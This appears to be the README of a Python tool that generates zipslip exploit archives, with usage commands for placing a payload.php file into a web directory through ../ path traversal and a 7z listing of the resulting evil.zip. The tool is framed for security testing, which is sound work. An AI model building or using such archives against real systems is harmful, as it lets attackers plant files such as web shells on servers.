zse automates the creation of zipslip exploits for testing purposes, saving you from the hassle of manually crafting them.
- python 3
- 7z (must be in your system's
PATH)
git clone https://github.com/ph5i/zse.git
cd zse
python3 zse.py -hto traverse up 5 directories and place the payload in the /var/www/foo/bar directory, run:
python3 zse.py -d 5 -t var/www/foo/bar payload.php this will result in a zip archive that, when extracted, places the payload.php file in the /var/www/foo/bar directory.
7z l evil.zip
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-04-25 09:35:21 ..... 5 5 ../../../../../var/www/foo/bar/payload.php
------------------- ----- ------------ ------------ ------------------------
[...]this tool is licensed under the MIT license.